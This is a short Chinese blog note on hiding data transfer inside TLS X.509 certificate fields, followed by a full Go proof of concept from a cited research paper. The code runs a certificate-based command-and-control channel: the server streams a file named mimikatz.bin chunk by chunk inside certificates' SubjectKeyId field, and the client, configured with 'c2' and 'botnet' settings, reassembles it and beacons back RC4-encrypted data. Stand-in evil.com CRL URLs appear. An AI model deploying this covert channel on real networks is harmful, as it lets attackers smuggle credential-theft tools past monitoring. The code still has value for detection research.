zoukankan      html  css  js  c++  java
  • SSL公钥证书传递进行隐匿传输数据


    title: 使用X.509公钥证书传递进行隐匿传输数据
    date: 2018-02-11 17:47:50
    tags:

    使用X.509公钥证书传递进行隐匿传输数据

    看到国外一篇有关于在ssl认证过程中,通过证书传递达到一个隐匿传输数据的过程

    TLS X.509证书有很多可以存储字符串的字段,可参见这张图片[16]。

    这些字段包括版本、序列号、颁发者名称、有效期等。在研究中描述的证书滥用,就是将传输的数据隐藏在这些字段中的一个。由于证书交换在TLS会话建立之前,因此好像没有进行数据传输,而实际上数据在证书交换过程中传输。

    给出作者的一个POC

    server.go

    /*
    Server code for demonstrating transfering a file over x509 extension covert channel.
    Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
    Written by: Jason Reaves
    ver1 - 2Jan2018
    
    MIT License
    
    Copyright (c) 2018 Jason Reaves
    
    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:
    
    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
    */
    package main
    
    import (
    	"crypto/rand"
    	"crypto/rsa"
    	"crypto/tls"
    	"crypto/x509"
    	"fmt"
    	"io/ioutil"
    	"log"
    	"malcert_mimikatz_poc/helper"
    	"net"
    )
    
    type active_client struct {
    	ip    string
    	index int
    }
    
    var currclient active_client
    
    func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
    	cert, _ := x509.ParseCertificate(rawCerts[0])
    	data := cert.SubjectKeyId
    	dec := helper.DecryptData(data)
    	fmt.Println("Received from client: ", dec)
    	return nil
    }
    
    var bsize = 10000
    
    func main() {
    	priv, _ := rsa.GenerateKey(rand.Reader, 4096)
    	ca, pv := helper.GenCert("EICAR", []byte{}, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv)
    
    	fdata, _ := ioutil.ReadFile("mimikatz.bin")
    	sz := len(fdata)
    	iterations := sz / bsize
    	fmt.Println("Iterations until done: ", iterations)
    
    	for {
    		cert, err := tls.X509KeyPair(ca, pv)
    		if err != nil {
    			log.Fatalf("server: loadkeys: %s", err)
    		}
    		config := tls.Config{Certificates: []tls.Certificate{cert}}
    		config.InsecureSkipVerify = true
    		config.VerifyPeerCertificate = verifyHook
    		config.ClientAuth = tls.RequireAnyClientCert
    		config.Rand = rand.Reader
    		service := "0.0.0.0:4433"
    		listener, err := tls.Listen("tcp", service, &config)
    		if err != nil {
    			log.Fatalf("server: listen: %s", err)
    		}
    		//log.Print("server: listening")
    		conn, err := listener.Accept()
    		if err != nil {
    			log.Printf("server: accept: %s", err)
    			break
    		}
    		defer conn.Close()
    		if currclient.ip == "" {
    			currclient.ip = conn.RemoteAddr().String()
    			currclient.index = 0
    		} else {
    			blob := []byte("DONE")
    			if currclient.index < iterations {
    				blob = fdata[currclient.index*bsize : (currclient.index+1)*bsize]
    			} else if currclient.index == iterations {
    				blob = fdata[currclient.index*bsize : sz]
    			} else {
    				currclient.index = 0
    				currclient.ip = ""
    			}
    			currclient.index += 1
    			ca, pv = helper.GenCertWithFile("EICAR", blob, priv)
    		}
    		log.Printf("server: accepted from %s", conn.RemoteAddr())
    		tlscon, ok := conn.(*tls.Conn)
    		if ok {
    			log.Print("ok=true")
    			state := tlscon.ConnectionState()
    			log.Print(state.PeerCertificates)
    			for _, v := range state.PeerCertificates {
    				log.Print(x509.MarshalPKIXPublicKey(v.PublicKey))
    			}
    		}
    		go handleClient(conn)
    		listener.Close()
    	}
    }
    
    func handleClient(conn net.Conn) {
    	defer conn.Close()
    	buf := make([]byte, 512)
    	for {
    		log.Print("server: conn: waiting")
    		n, err := conn.Read(buf)
    		if err != nil {
    			if err != nil {
    				log.Printf("server: conn: read: %s", err)
    			}
    			break
    		}
    		log.Printf("server: conn: echo %q
    ", string(buf[:n]))
    		n, err = conn.Write(buf[:n])
    
    		n, err = conn.Write(buf[:n])
    		log.Printf("server: conn: wrote %d bytes", n)
    
    		if err != nil {
    			log.Printf("server: write: %s", err)
    			break
    		}
    	}
    	log.Println("server: conn: closed")
    }
    

    client.go

    /*
    Client code for demonstrating transfering a file over x509 extension covert channel.
    Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
    Written by: Jason Reaves
    ver1 - 2Jan2018
    
    MIT License
    
    Copyright (c) 2018 Jason Reaves
    
    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:
    
    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
    */
    package main
    
    import (
    	"crypto/md5"
    	"crypto/rand"
    	"crypto/rsa"
    	"crypto/tls"
    	//"crypto/x509"
    	"bytes"
    	"fmt"
    	"log"
    	"malcert_mimikatz_poc/helper"
    	"time"
    )
    
    type settings struct {
    	c2     string
    	port   string
    	botnet string
    	priv   *rsa.PrivateKey
    }
    
    func SendData(settings settings, data string) {
    	//We can load cert data from files as well
    	//cert, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key")
    	ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv)
    	c2 := settings.c2 + ":" + settings.port
    	cert, err := tls.X509KeyPair(ca, pv)
    	if err != nil {
    		log.Fatalf("server: loadkeys: %s", err)
    	}
    	config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
    	fdata := []byte{}
    	for {
    		conn, err := tls.Dial("tcp", c2, &config)
    		if err != nil {
    			log.Fatalf("client: dial: %s", err)
    		}
    		log.Println("client: connected to: ", conn.RemoteAddr())
    
    		state := conn.ConnectionState()
    		rdata := []byte{}
    		for _, v := range state.PeerCertificates {
    			rdata = v.SubjectKeyId
    			if bytes.Compare(rdata, []byte("DONE")) == 0 {
    				break
    			}
    			fdata = append(fdata, v.SubjectKeyId...)
    			//fmt.Println("Tasks: ", v.CRLDistributionPoints)
    		}
    		if bytes.Compare(rdata, []byte("DONE")) == 0 {
    			log.Println("End of data reached")
    			break
    		}
    		conn.Close()
    		fmt.Println("Total Received: ", len(fdata))
    		time.Sleep(1)
    	}
    	fmt.Println("Data received: ", len(fdata))
    	fmt.Printf("Md5: %x", md5.Sum(fdata))
    
    	log.Print("client: exiting")
    }
    
    func main() {
    	priv, _ := rsa.GenerateKey(rand.Reader, 4096)
    	c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv}
    	SendData(c2_settings, "Im Alive")
    }
    

    helper.go

    /*
    Helper code for demonstrating transfering a file over x509 extension covert channel.
    Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
    Written by: Jason Reaves
    ver1 - 2Jan2018
    
    MIT License
    
    Copyright (c) 2018 Jason Reaves
    
    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:
    
    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
    */
    package helper
    
    import (
    	"crypto/rand"
    	"crypto/rc4"
    	"crypto/rsa"
    	//	"crypto/tls"
    	"crypto/x509"
    	"crypto/x509/pkix"
    	//"encoding/asn1"
    	//"encoding/hex"
    	"encoding/pem"
    	//"fmt"
    	//"io/ioutil"
    	"log"
    	"math/big"
    	"time"
    )
    
    func encryptData(data string) []byte {
    	key := make([]byte, 2)
    	_, err := rand.Read(key)
    	if err != nil {
    		log.Println("Random data creation error: ", err)
    	}
    	c, err := rc4.NewCipher(key)
    	enc := make([]byte, len(data))
    	c.XORKeyStream(enc, []byte(data))
    
    	//return hex.EncodeToString(enc)
    	return append(key, enc...)
    }
    
    func DecryptData(data []byte) string {
    	key := data[:2]
    	c, err := rc4.NewCipher(key)
    	if err != nil {
    		log.Println("RC4 error: ", err)
    	}
    	dec := make([]byte, len(data[2:]))
    	c.XORKeyStream(dec, data[2:])
    	return string(dec[:])
    }
    
    //func GenCertPriv(cn string, data string, crl []string) (*rsa.PrivateKey, []byte, []byte) {
    //	priv, _ := rsa.GenerateKey(rand.Reader, 4096)
    //	c, p := GenCert(cn, data, crl, priv)
    //	return priv, c, p
    //}
    
    func GenCertWithFile(cn string, fdata []byte, priv *rsa.PrivateKey) ([]byte, []byte) {
    	return GenCert(cn, fdata, []string{}, priv)
    }
    
    func GenCertWithString(cn string, data string, priv *rsa.PrivateKey) ([]byte, []byte) {
    	encData := encryptData(data)
    	return GenCert(cn, encData, []string{}, priv)
    }
    
    func GenCert(cn string, data []byte, crl []string, priv *rsa.PrivateKey) ([]byte, []byte) {
    	//extSubKeyId := pkix.Extension{}
    	//extSubKeyId.Id = asn1.ObjectIdentifier{2, 5, 29, 14}
    	//extSubKeyId.Critical = true
    	//extSubKeyId.Value = []byte(`d99962b39e`)
    
    	ca := &x509.Certificate{
    		SerialNumber: big.NewInt(1337),
    		Subject: pkix.Name{
    			Country:            []string{"Neuland"},
    			Organization:       []string{"Example Org"},
    			OrganizationalUnit: []string{"Auto"},
    			CommonName:         cn,
    		},
    		Issuer: pkix.Name{
    			Country:            []string{"Neuland"},
    			Organization:       []string{"Skynet"},
    			OrganizationalUnit: []string{"Computer Emergency Response Team"},
    			Locality:           []string{"Neuland"},
    			Province:           []string{"Neuland"},
    			StreetAddress:      []string{"Mainstreet 23"},
    			PostalCode:         []string{"12345"},
    			SerialNumber:       "23",
    			CommonName:         cn,
    		},
    		SignatureAlgorithm: x509.SHA512WithRSA,
    		PublicKeyAlgorithm: x509.ECDSA,
    		NotBefore:          time.Now(),
    		NotAfter:           time.Now().AddDate(0, 0, 10),
    		//SubjectKeyId:          encData,
    		BasicConstraintsValid: true,
    		IsCA:        true,
    		ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
    		KeyUsage:    x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
    		//ExtraExtensions: []pkix.Extension{extSubKeyId},
    	}
    	if len(data) > 0 {
    		//encData := encryptData(data)
    		//ca.SubjectKeyId = encData
    		ca.SubjectKeyId = data
    	}
    	if len(crl) > 0 {
    		ca.CRLDistributionPoints = crl
    	}
    
    	//priv, _ := rsa.GenerateKey(rand.Reader, 4096)
    	privPem := pem.EncodeToMemory(&pem.Block{
    		Type:  "RSA PRIVATE KEY",
    		Bytes: x509.MarshalPKCS1PrivateKey(priv),
    	})
    	pub := &priv.PublicKey
    	ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)
    	if err != nil {
    		log.Fatalf("create cert failed %#v", err)
    		panic("Cert Creation Error")
    	}
    
    	certPem := pem.EncodeToMemory(&pem.Block{
    		Type:  "CERTIFICATE",
    		Bytes: ca_b,
    	})
    
    	return certPem, privPem
    
    }
    

    这里主要做个笔记记录一下,原文在这里

  • 相关阅读:
    【SDOI2019】—世界地图(虚树+Kruscal)
    【SDOI2019】—世界地图(虚树+Kruscal)
    【SDOI2019】—热闹的聚会与尴尬的聚会(图论)
    【SDOI2019】—热闹的聚会与尴尬的聚会(图论)
    【BZOJ3153】—Sone1(Top-Tree)
    【BZOJ3153】—Sone1(Top-Tree)
    【UOJ #284】— 快乐游戏鸡(长链剖分+线段树)
    【UOJ #284】— 快乐游戏鸡(长链剖分+线段树)
    【BZOJ4372】—烁烁的游戏(动态点分治)
    【BZOJ4372】—烁烁的游戏(动态点分治)
  • 原文地址:https://www.cnblogs.com/p00mj/p/11797816.html
Copyright © 2011-2022 走看看